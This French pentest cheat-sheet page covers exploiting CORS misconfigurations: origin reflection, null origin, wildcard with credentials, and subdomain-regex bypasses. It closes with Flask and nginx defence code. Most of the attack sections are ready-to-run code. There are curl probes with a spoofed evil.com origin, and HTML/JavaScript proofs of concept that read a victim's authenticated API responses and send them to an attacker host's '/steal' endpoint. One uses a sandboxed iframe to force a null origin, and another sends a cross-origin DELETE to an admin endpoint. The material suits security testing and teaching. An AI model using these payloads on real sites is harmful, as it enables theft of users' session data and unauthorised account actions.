corsoriginaccess-control
MDstable
CORS Misconfiguration
Exploitation des mauvaises configurations CORS : origin reflection, null origin, wildcard, subdomain trust
snippetintermediate 2026-05-14 4 min read
corsoriginaccess-controlapipreflightpentest
Principe CORS
Variables
{{TARGET}}
CORS mcanisme navigateur qui autorise ou non les requtes cross-origin.Requte cross-originevilcom api{{TARGET}} le navigateur ajoute lheader Originapi{{TARGET}} rpond avec Access-Control-Allow-Origin: evilcomNavigateur autorise JavaScript lire la rponseSi Access-Control-Allow-Credentials: true est aussi prsentLes cookies sont envoys ET la rponse est lisible par evilcomImpact maximal vol de donnes authentifies
Identification — Headers à surveiller
bash
Variables
{{SESSION_TOKEN}}
{{TARGET}}
# Tester manuellementcurl -H "Origin: https://evil.com"-H "Cookie: session={{SESSION_TOKEN}}"https//{{TARGET}}/api/profile -I# Chercher dans la réponse :# Access-Control-Allow-Origin: https://evil.com ← reflète notre origin# Access-Control-Allow-Credentials: true ← cookies inclus# Test avec null origincurl -H "Origin: null"https//{{TARGET}}/api/profile -I
Cas 1 — Origin Reflection
bash
Variables
{{YOUR_ORIGIN}}
{{ATTACKER_DOMAIN}}
{{STOLEN_SESSION}}
{{TARGET}}
# Le serveur reflète exactement l'Origin envoyé# Access-Control-Allow-Origin: {{YOUR_ORIGIN}}# Access-Control-Allow-Credentials: true# Exploitationcurl -H "Origin: https://{{ATTACKER_DOMAIN}}"-H "Cookie: session={{STOLEN_SESSION}}""https://{{TARGET}}/api/user/data" -I# → Access-Control-Allow-Origin: https://{{ATTACKER_DOMAIN}} → exploitable
html
Variables
{{TARGET}}
{{LHOST}}
<!-- PoC d'exploitation depuis evil.com --><script>fetch('https://{{TARGET}}/api/profile', {credentials: 'include' // envoie les cookies}).then(r => r.json()).then(data => {// Exfiltrer les données vers notre serveurfetch('https://{{LHOST}}/steal?data=' + encodeURIComponent(JSON.stringify(data)));});</script>
Cas 2 — Null Origin
bash
Variables
{{SESSION_TOKEN}}
{{TARGET}}
# Certains serveurs autorisent Origin: null# (utilisé par les fichiers HTML locaux, iframes sandboxed)curl -H "Origin: null"-H "Cookie: session={{SESSION_TOKEN}}""https://{{TARGET}}/api/profile" -I# → Access-Control-Allow-Origin: null → exploitable
html
Variables
{{TARGET}}
{{LHOST}}
<!-- Forcer Origin: null via iframe sandboxed --><iframe sandbox="allow-scripts allow-top-navigation allow-forms"srcdoc="<script>fetch('https://{{TARGET}}/api/profile', {credentials:'include'}).then(r=>r.json()).then(d=>parent.postMessage(JSON.stringify(d),'*'));</script>"></iframe><script>window.onmessage = function(e) {fetch('https://{{LHOST}}/steal?d=' + encodeURIComponent(e.data));};</script>
Cas 3 — Wildcard + Credentials (impossible mais mal configuré)
bash
Variables
{{SESSION_TOKEN}}
{{TARGET}}
# Access-Control-Allow-Origin: * + Credentials est interdit par les specs# Mais certains serveurs mal configurés tentent de le faire# Test : quel comportement avec * et credentials ?curl -H "Origin: https://evil.com"-H "Cookie: session={{SESSION_TOKEN}}""https://{{TARGET}}/api/data" -I# Si la réponse est :# Access-Control-Allow-Origin: *# Access-Control-Allow-Credentials: true# → Navigateur refuse de toute façon, mais peut indiquer une implémentation custom bugguée
Cas 4 — Subdomain Trust / Regex mal écrite
bash
Variables
{{TARGET_DOMAIN}}
{{TARGET}}
# Regex vulnérable : vérifie que l'origin CONTIENT le domaine cible# Exemples de bypass :# Origin se terminant par le domaine (match partiel)curl -H "Origin: https://evil{{TARGET_DOMAIN}}""https://{{TARGET}}/api/data" -I# Si regex : /.*\.{{TARGET_DOMAIN}}$/ → evil.{{TARGET_DOMAIN}} matche# Origin préfixéecurl -H "Origin: https://{{TARGET_DOMAIN}}.evil.com""https://{{TARGET}}/api/data" -I# Sous-domaine compromiscurl -H "Origin: https://sub.{{TARGET_DOMAIN}}""https://{{TARGET}}/api/data" -I# Si un sous-domaine est XSS-vulnérable → pivot via CORS# Conftest avec null byte ou encodagecurl -H "Origin: https://{{TARGET_DOMAIN}}%60.evil.com""https://{{TARGET}}/api/data" -I
Exploitation avec pre-flight (requêtes complexes)
javascript
Variables
{{TARGET}}
// Requêtes "simples" (GET, POST text/plain) → pas de pre-flight// Requêtes "complexes" (JSON, PUT, DELETE, headers customs) → pre-flight OPTIONS// Si CORS accepte PUT/DELETE cross-origin avec credentialsfetch('https://{{TARGET}}/api/admin/user/42', {method: 'DELETE',credentials: 'include',headers: {'Content-Type': 'application/json'}}).then(r => r.json()).then(console.log);
Défense CORS
python
Variables
{{TARGET_DOMAIN}}
# Python (Flask) — whitelist stricte d'originesfrom flask_cors import CORSALLOWED_ORIGINS = ["https://app.{{TARGET_DOMAIN}}","https://www.{{TARGET_DOMAIN}}"]def is_allowed_origin(origin: str) -> bool:# Comparaison exacte — jamais de regex sur l'originreturn origin in ALLOWED_ORIGINS@app.after_requestdef add_cors_headers(response):origin = request.headers.get('Origin')if origin and is_allowed_origin(origin):response.headers['Access-Control-Allow-Origin'] = originresponse.headers['Access-Control-Allow-Credentials'] = 'true'response.headers['Access-Control-Allow-Methods'] = 'GET, POST'response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'response.headers['Vary'] = 'Origin' # Important pour le cachereturn response
nginx
Variables
{{TARGET_DOMAIN}}
# Nginx — whitelist d'originesmap $http_origin $cors_origin {default "";"https://app.{{TARGET_DOMAIN}}" $http_origin;"https://www.{{TARGET_DOMAIN}}" $http_origin;}add_header Access-Control-Allow-Origin $cors_origin always;add_header Access-Control-Allow-Credentials true always;add_header Vary Origin always;
Rgles CORS scurisesWhitelist dorigines exactes pas de regex pas de substring matchJamais Access-Control-Allow-Origin: avec Credentials trueAccess-Control-Allow-Origin: null interditHeader Vary Origin pour viter le cache poisoning CORSLimiter les mthodes autorises pas si pas ncessaireValider lOrigin ct serveur mme sans CORS la politique CORS est dans le navigateur pas dans le serveur
⚠ Attention —
Le header Access-Control-Allow-Origin: * sur une API publique est souvent intentionnel et sûr — TANT QUE Allow-Credentials: true est absent. Le danger est la combinaison des deux. Une API de données publiques peut utiliser *, mais une API authentifiée doit impérativement avoir une whitelist stricte.
OPS·BRAIN v1.075 notes · Securitylocal